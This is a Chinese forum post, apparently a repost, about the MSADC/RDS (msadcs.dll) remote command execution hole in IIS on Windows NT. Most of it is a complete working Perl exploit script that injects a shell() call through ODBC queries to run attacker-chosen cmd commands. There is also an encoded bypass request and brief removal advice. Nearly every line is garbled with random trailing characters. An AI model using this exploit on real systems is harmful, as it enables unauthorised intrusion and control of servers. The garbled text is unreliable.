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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ZRjM^ d;  
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涉及程序: nT|WJ%  
Microsoft NT server )cH\i91  
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描述: bVcJ/+Yx|  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 h?TIxo:6/  
N #v[YO`.  
详细: HW[&q  
如果你没有时间读详细内容的话,就删除: '_?Z{|  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 2(d  
有关的安全问题就没有了。 UwW@}cy,L  
;jgf,fbM  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 pBAAwHD  
Sv#MlS>  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 N-l`U(Z~P  
关于利用ODBC远程漏洞的描述,请参看: yM 7{v$X0  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i5r<CxS  
rTR$\ [C  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 \Hb!<mrp  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;I5P<7VW  
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这里不再论述。 /cClV"S*G  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: B\ 'rxbH  
7z$53z  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 3fLdceT  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! % (h6m${j  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" PZ/ tkw  
H^Pq[3NQ  
#!perl JX'}+.\  
# kVLZdXn,q2  
# MSADC/RDS 'usage' (aka exploit) script | K|AUI  
# e_!h>=$%8  
# by rain.forest.puppy Jm , :6T  
# lfBCzxifC  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me `0ZH=*P  
# beta test and find errors! 4j;IyQDvM  
qdQ4%,E[  
use Socket; use Getopt::Std; 'R1C-U3w,  
getopts("e:vd:h:XR", \%args); kt Z~r. +  
[ DpOI  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; C+\z$/q  
uNy-r`vg  
if (!defined $args{h} && !defined $args{R}) { ->qRGUW  
print qq~ JRBz/ j  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Hva!6vwO%O  
-h <host> = host you want to scan (ip or domain) JAHmmNlW  
-d <seconds> = delay between calls, default 1 second hg12NzbK  
-X = dump Index Server path table, if available y:\<FLR}j  
-v = verbose T} \>8EEG  
-e = external dictionary file for step 5 !ldE9 .  
~98q1HgS]D  
Or a -R will resume a command session :&5u)  
BUZ74  
~; exit;} zecM|S_  
YQ+8lANC  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; V@+sNM  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} jA8Bmwt;w  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} MZV bOcSAd  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); bBINjs8C_  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} }vZfp5Y  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Kez0Bka  
2G|}ENC  
if (!defined $args{R}){ $ret = &has_msadc; 2KXF XR  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} C=;}7g  
w*'DlP<7  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" gD%o0 jt"  
. "cmd /c "; 6&+dpr&c~=  
$in=<STDIN>; chomp $in; ^Zs ^  
$command="cmd /c " . $in ; 0F uj-q  
dw#pObH|`  
if (defined $args{R}) {&load; exit;} {B=64,D^7R  
,h5 FX^  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; *} *HXE5  
&try_btcustmr; y-@`3hYM@  
-DGuaUU  
print "\nStep 2: Trying to make our own DSN..."; Mb_"M7  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; {uwPP2YD,  
gT[]"ZT7  
print "\nStep 3: Trying known DSNs..."; 6jMc|he  
&known_dsn; s4 , `  
+ d>2'  
print "\nStep 4: Trying known .mdbs..."; J%Y-3{TQK  
&known_mdb; wR 2`*.O  
Nba1!5:M  
if (defined $args{e}){ O|m-[]  
print "\nStep 5: Trying dictionary of DSN names..."; IF&edP[V  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } -= c&K&  
S]E|a@kD3  
print "Sorry Charley...maybe next time?\n"; R(> oyxA[F  
exit; 5 3+C;]J  
ixy:S1 pI  
############################################################################## y[f%0*\B  
U&^(%W#  
sub sendraw { # ripped and modded from whisker @0:Eg1-  
sleep($delay); # it's a DoS on the server! At least on mine... [C ezz5  
my ($pstr)=@_; U0|wC,7"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <_8eOL<X  
die("Socket problems\n"); M$v\7vBgO!  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ai%Wt-  
select(S); $|=1; FBi&M Z`  
print $pstr; my @in=<S>; n%2c<@p#  
select(STDOUT); close(S); >]Mhkf/=)  
return @in; Ye^#]%m  
} else { die("Can't connect...\n"); }} Yh,,(V6  
1h]nE/T.O  
############################################################################## JWM4S4yZHR  
R74RJi&  
sub make_header { # make the HTTP request /L`qOr2E  
my $msadc=<<EOT i @M^l`w  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 , Sf:R4=  
User-Agent: ACTIVEDATA c#9=o;1El  
Host: $ip  ^~B#r#  
Content-Length: $clen WYvcN8F  
Connection: Keep-Alive L.9@rwfI  
\V j7%ph  
ADCClientVersion:01.06 s7`2ky()kz  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Nc EPPl 0I  
zcV~)go6  
--!ADM!ROX!YOUR!WORLD! 7Or?$  
Content-Type: application/x-varg 3cqc<  
Content-Length: $reqlen M%13b$i~f  
pcQzvLk  
EOT ;Uypv|xX  
; $msadc=~s/\n/\r\n/g;  fsKZ  
return $msadc;} ;x)f;!e+  
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############################################################################## +s+E!=s  
d<_IC7$u>  
sub make_req { # make the RDS request % Q93n {?  
my ($switch, $p1, $p2)=@_; ,=u!hg  
my $req=""; my $t1, $t2, $query, $dsn; 93)1  
VyIM ,glu  
if ($switch==1){ # this is the btcustmr.mdb query :2t?0YR  
$query="Select * from Customers where City=" . make_shell(); :y~l?0b&8  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . WD8F]+2O\  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} jTsQsHq   
gfXit$s  
elsif ($switch==2){ # this is general make table query /u"K`y/*j\  
$query="create table AZZ (B int, C varchar(10))"; /KgP<2p  
$dsn="$p1";} b5 AP{ #  
2ak*aI  
elsif ($switch==3){ # this is general exploit table query |@D%y&  
$query="select * from AZZ where C=" . make_shell(); CrGDo9JdvT  
$dsn="$p1";}  *% ]&5  
w`Cs,  
elsif ($switch==4){ # attempt to hork file info from index server jjoyMg95  
$query="select path from scope()"; =, U~  
$dsn="Provider=MSIDXS;";} x50ZwV&j  
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elsif ($switch==5){ # bad query  N,ihQB5  
$query="select"; Xj6?,J  
$dsn="$p1";} n~yhX%=_Du  
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$t1= make_unicode($query); b9 l%5a  
$t2= make_unicode($dsn); !5zj+N  
$req = "\x02\x00\x03\x00"; =6, w~|W  
$req.= "\x08\x00" . pack ("S1", length($t1)); DoEN`K\U  
$req.= "\x00\x00" . $t1 ; Cm6%wAzC  
$req.= "\x08\x00" . pack ("S1", length($t2)); M;X}v#l|XI  
$req.= "\x00\x00" . $t2 ; VPDd*32HC  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; U7xQ 5lph  
return $req;} - [vH4~  
F`f8q\Fc  
############################################################################## rV/! VJ6x  
}@A{'q5y  
sub make_shell { # this makes the shell() statement V*+Z=Y'  
return "'|shell(\"$command\")|'";} sc# q03  
)K 0rPnYV  
############################################################################## yMe;  
*edhJUT  
sub make_unicode { # quick little function to convert to unicode L8$+%Gvo  
my ($in)=@_; my $out; D0p>Q^w  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } u85Uy yN  
return $out;} X./7b{Pax  
&Y8S! W@4  
############################################################################## Z2{G{]EV(  
G4K3qD#+H  
sub rdo_success { # checks for RDO return success (this is kludge) \ci[<CP  
my (@in) = @_; my $base=content_start(@in); =(as{,j  
if($in[$base]=~/multipart\/mixed/){ D"s ]dQ$r  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} }C{wGK+o[  
return 0;} -]Q6Ril  
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############################################################################## I#:4H2H6  
-*0U&]T  
sub make_dsn { # this makes a DSN for us `< cn  
my @drives=("c","d","e","f"); iFB {a?BE  
print "\nMaking DSN: "; iy,jq5uw  
foreach $drive (@drives) { v?#W/].C+  
print "$drive: "; tq8rG@-C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . I(0 *cWO  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" a*UxRi8  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Ov~>* [  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; )tR@\G>%  
return 0 if $2 eq "404"; # not found/doesn't exist sy+tLDMd  
if($2 eq "200") { :LMLY<8>9  
foreach $line (@results) { 6+_qGV  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} \oV g(J&o  
} return 0;} CW;=q[+w  
hT$/B|  
############################################################################## >0jg2vqt  
 :)Z.!  
sub verify_exists { &/]g@^h9  
my ($page)=@_; )p+6yH  
my @results=sendraw("GET $page HTTP/1.0\n\n"); $n9Bp'<  
return $results[0];} {P $sQv  
5>"X?U}He  
############################################################################## OOX[xv!b  
^@AIXBe  
sub try_btcustmr { HF]|>1WV[  
my @drives=("c","d","e","f"); q5ja \  
my @dirs=("winnt","winnt35","winnt351","win","windows"); QMWDII&t  
V.kRV{43  
foreach $dir (@dirs) { rh 7%<xb>  
print "$dir -> "; # fun status so you can see progress & 0%x6vea  
foreach $drive (@drives) { ~{gV`nm=J  
print "$drive: "; # ditto ^Y+P(o$HM  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; $]S*(K3U ~  
$reqlenlen=length( "$reqlen" ); 85]3y%f9  
$clen= 206 + $reqlenlen + $reqlen; C:@JLZB  
H D{2nZT  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); uO}UvMW  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ^,N=GZRWW  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} dG*2-v^G  
~jn~M_}K  
############################################################################## 4ROuy+Ms'  
;*409 P  
sub odbc_error { 8k -l`O~  
my (@in)=@_; my $base; 2<8JY4]!]  
my $base = content_start(@in); ' lMPI@C6r  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this `\5u/i'Ca!  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +*ZF52hy|  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6-h(305A  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +{pS2I}d  
return $in[$base+4].$in[$base+5].$in[$base+6];} A1V^Gi@i  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; {S5H H"  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . kF29~  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 0}iND$6@a  
q[MZSg  
############################################################################## z,q1TU9  
M7g6m  
sub verbose { 1o%E(*M4I  
my ($in)=@_; Yl0_?.1 z  
return if !$verbose; ! 4{T<s;q  
print STDOUT "\n$in\n";} "$rmy>d  
<WRrB `nO  
############################################################################## 5Cjh%rj(jl  
>7I"_#x1:  
sub save { = & =#G3f  
my ($p1, $p2, $p3, $p4)=@_; y?@(%PTp  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?0k4l8R  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; brt1Kvu8(  
close OUT;} TuX9:Q  
BEnIyVU;L  
############################################################################## KBkS>0;X  
.sR=Mf7T  
sub load { f15f)P  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; EsKOzl[c:  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Hklgf  
@p=<IN>; close(IN); >%{H>?Hn  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); UUaC@Rs2  
$target= inet_aton($ip) || die("inet_aton problems"); ud,=O X q  
print "Resuming to $ip ..."; 1^_V8dm)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; yV/A%y-P  
if($p[1]==1) { # 8fq6z|JZ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; [/IN820t  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; yEB1gYJB  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); MclW!CmJ  
if (rdo_success(@results)){print "Success!\n";} o+I'nFtnI  
else { print "failed\n"; verbose(odbc_error(@results));}} aokV'6  
elsif ($p[1]==3){ `37$YdX  
if(run_query("$p[3]")){ CFyu9Al  
print "Success!\n";} else { print "failed\n"; }} $F/Uk;*d!  
elsif ($p[1]==4){ yTwtGo&  
if(run_query($drvst . "$p[3]")){ 0$A7"^]  
print "Success!\n"; } else { print "failed\n"; }} %RX}sS  
exit;} (n0h#%  
mcqLN5  
############################################################################## .*W_;Fo  
S @[B?sNj  
sub create_table { 1<TB{}b Z  
my ($in)=@_; /<-@8CC<  
$reqlen=length( make_req(2,$in,"") ) - 28; Qq*Ks 5   
$reqlenlen=length( "$reqlen" ); C.Ty\@U  
$clen= 206 + $reqlenlen + $reqlen; r ; pS_PV  
my @results=sendraw(make_header() . make_req(2,$in,"")); [OK(  
return 1 if rdo_success(@results); W5_aS2$  
my $temp= odbc_error(@results); verbose($temp); VYC$Q;Z  
return 1 if $temp=~/Table 'AZZ' already exists/;  %kSpMj|  
return 0;} ipdGAG  
>y{oC5S  
############################################################################## L92vb zP  
D3xyJ  
sub known_dsn { dD.;P=AP  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go "Q <  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", FhVoN}  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", lbUUf}   
"banner", "banners", "ads", "ADCDemo", "ADCTest"); nOj0"c  
(&^k''f  
foreach $dSn (@dsns) { ;N;['xcx;  
print "."; ('Doy1L  
next if (!is_access("DSN=$dSn")); nkii0YB!  
if(create_table("DSN=$dSn")){ K! I]0!:  
print "$dSn successful\n"; `D~wY^q{  
if(run_query("DSN=$dSn")){  "yA=Tw  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7ts`uI<E@7  
print "Something's borked. Use verbose next time\n";}}} print "\n";} oW\kJ>!  
Kp)H>~cL  
############################################################################## R-lpsvDDL2  
uEX+j  
sub is_access { ?&rt)/DV,  
my ($in)=@_; WO]9\"|y  
$reqlen=length( make_req(5,$in,"") ) - 28; AaX][2y8  
$reqlenlen=length( "$reqlen" ); .5K}R<  
$clen= 206 + $reqlenlen + $reqlen; ;r.0=Uo9]  
my @results=sendraw(make_header() . make_req(5,$in,"")); DL]\dD   
my $temp= odbc_error(@results); >3&Oe  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?@YABl  
return 0;} CS|al(?~  
%|\Af>o4d  
############################################################################## (`me}8  
xq-TT2}<L  
sub run_query { \~~y1.,U.  
my ($in)=@_; sm9/sX!  
$reqlen=length( make_req(3,$in,"") ) - 28; u-%|ZSg  
$reqlenlen=length( "$reqlen" ); Wi%e9r{hU  
$clen= 206 + $reqlenlen + $reqlen; rS&"UH?c7  
my @results=sendraw(make_header() . make_req(3,$in,"")); Wt 1]9{$  
return 1 if rdo_success(@results); |(77ao3  
my $temp= odbc_error(@results); verbose($temp); Iq["(!7E5  
return 0;} Ka+N5 T.f  
[B+]F~}@  
############################################################################## Q$lgC v^M  
]**h`9MF  
sub known_mdb { ayK?\srw  
my @drives=("c","d","e","f","g"); q\]"}M 8  
my @dirs=("winnt","winnt35","winnt351","win","windows"); !)-)*T  
my $dir, $drive, $mdb; g;mX{p_@  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; >pRC$'Usx  
f<;w1sM\  
# this is sparse, because I don't know of many -lqsFaW  
my @sysmdbs=( "\\catroot\\icatalog.mdb", c[<>e#s+;  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 8o%g2 P9.  
"\\system32\\certmdb.mdb", xixdv{M<FF  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &V77Wn OY  
X4I+  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", %=[xc?  
"\\cfusion\\cfapps\\forums\\forums_.mdb", yhG%@vSq  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", odsLFU(  
"\\cfusion\\cfapps\\security\\realm_.mdb", /(jG9RM  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 6i`Y]\X~#  
"\\cfusion\\database\\cfexamples.mdb", > Sc/E}3  
"\\cfusion\\database\\cfsnippets.mdb", "%E<%g  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", UEeq@ot/4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", s9aa _Th  
"\\cfusion\\brighttiger\\database\\cleam.mdb", u/ZV35z  
"\\cfusion\\database\\smpolicy.mdb", 4];<` %  
"\\cfusion\\database\cypress.mdb", Q@0Zh, l  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3]wV 1<K  
"\\website\\cgi-win\\dbsample.mdb", KJ#SE|  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", oGvk,mh"(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" e~P4>3  
); #these are just mIh >8))E  
foreach $drive (@drives) {  hSgH;k  
foreach $dir (@dirs){ e]DuV)k&  
foreach $mdb (@sysmdbs) { Bj*\)lG<  
print "."; "J"RH:$v  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ H9%[! RF  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; cf+EQY  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ P1qQ)-J  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; aGbHDo  
} else { print "Something's borked. Use verbose next time\n"; }}}}} J|=0 :G  
5`\"UC7?%  
foreach $drive (@drives) { /hp [ +K  
foreach $mdb (@mdbs) { %Kzu&*9Hb  
print "."; Zgw4[GpL  
if(create_table($drv . $drive . $dir . $mdb)){ LTWiCI  
print "\n" . $drive . $dir . $mdb . " successful\n"; ^Gwpx +  
if(run_query($drv . $drive . $dir . $mdb)){ [MXyOE  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 5hj _YqQ7  
} else { print "Something's borked. Use verbose next time\n"; }}}} ;FnU[Q`M#L  
} C/#?S=w`4  
aE 2=  
############################################################################## 0T2^$^g  
K3xt,g  
sub hork_idx { w:nLm,  
print "\nAttempting to dump Index Server tables...\n"; FxdWJ|rN9D  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; /1h ${mo~  
$reqlen=length( make_req(4,"","") ) - 28; ^ /ZNdwx  
$reqlenlen=length( "$reqlen" ); f)1*%zg%  
$clen= 206 + $reqlenlen + $reqlen; \__xTL\  
my @results=sendraw2(make_header() . make_req(4,"","")); Hj97&C{Q^  
if (rdo_success(@results)){ 1A}#j  
my $max=@results; my $c; my %d; V~MyX&`  
for($c=19; $c<$max; $c++){ gN; E}AQt  
$results[$c]=~s/\x00//g; tUT:v K`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; x T1MW  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; u9u'!hAGH  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; V>(>wSR  
$d{"$1$2"}="";} WX4 f3Um  
foreach $c (keys %d){ print "$c\n"; } k7kPeq  
} else {print "Index server doesn't seem to be installed.\n"; }} }uiD8b{I  
au#/Q  
############################################################################## wK!7mZ  
}fZ~HqS2w  
sub dsn_dict { P!u0_6  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); g&r3 ;  
while(<IN>){ K^e4w`F|  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~FnuO!C  
next if (!is_access("DSN=$dSn")); $EG9V++b3  
if(create_table("DSN=$dSn")){ 9_x rw:4  
print "$dSn successful\n"; {J*|)-eAw  
if(run_query("DSN=$dSn")){ 6Z<|L^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { q+2v9K@  
print "Something's borked. Use verbose next time\n";}}} js;k,`  
print "\n"; close(IN);}  N<~LgH  
6%Pvh- ~_  
############################################################################## Hq aay  
Ij2T h]  
sub sendraw2 { # ripped and modded from whisker \ 0/m$V.  
sleep($delay); # it's a DoS on the server! At least on mine... 3?Fe( !@  
my ($pstr)=@_; -unQ 4G  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  %m##i  
die("Socket problems\n"); $6]1T>  
if(connect(S,pack "SnA4x8",2,80,$target)){ *r)dtI*  
print "Connected. Getting data"; I{i6e'.jP  
open(OUT,">raw.out"); my @in; }poLH S/  
select(S); $|=1; print $pstr; 5}TTf2&Xo#  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} "Pl.G[Buc-  
close(OUT); select(STDOUT); close(S); return @in; x}~Z[bx  
} else { die("Can't connect...\n"); }} :Z.P0=  
zNM*xPgS  
############################################################################## L, 2;-b|  
zmFS]IOv$  
sub content_start { # this will take in the server headers nT9Hw~f<j  
my (@in)=@_; my $c; L KLLBrm:  
for ($c=1;$c<500;$c++) { A "/|h].  
if($in[$c] =~/^\x0d\x0a/){ M>ntldV#g%  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } QYps5zcn  
else { return $c+1; }}} \Nj#1G  
return -1;} # it should never get here actually *^:s! F  
"u)Le6.  
############################################################################## \$!D^%~;  
@$1jp4c   
sub funky { G^:?)WRG  
my (@in)=@_; my $error=odbc_error(@in); afE8Kqa:H  
if($error=~/ADO could not find the specified provider/){ 7LsVlT[  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Q%W>m0 %  
exit;} ]F3fO5Z  
if($error=~/A Handler is required/){ %awr3h>$  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5[]Yxl  
exit;} 5!BW!-q  
if($error=~/specified Handler has denied Access/){ Fg0!2MKq*  
print "\nServer has custom handler filters (they most likely are patched)\n"; d^8n  
exit;}} NInZ~4:  
O-!Q~;3][  
############################################################################## W9;9\k  
X/h|;C* 9  
sub has_msadc { MS\?+8|SV(  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Ec&_&  
my $base=content_start(@results); "gt1pf~y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); _6 @GT  
return 0;} 0nZQ" {x  
[U:P&)  
######################## Y8c,+D,Ww  
[8&+4 <  
Y*sw;2Z;a  
解决方案: XB]>Z)  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll o|w w>m  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 55/)2B2J  
eQ*zi9na  
拿出来充数 哈哈
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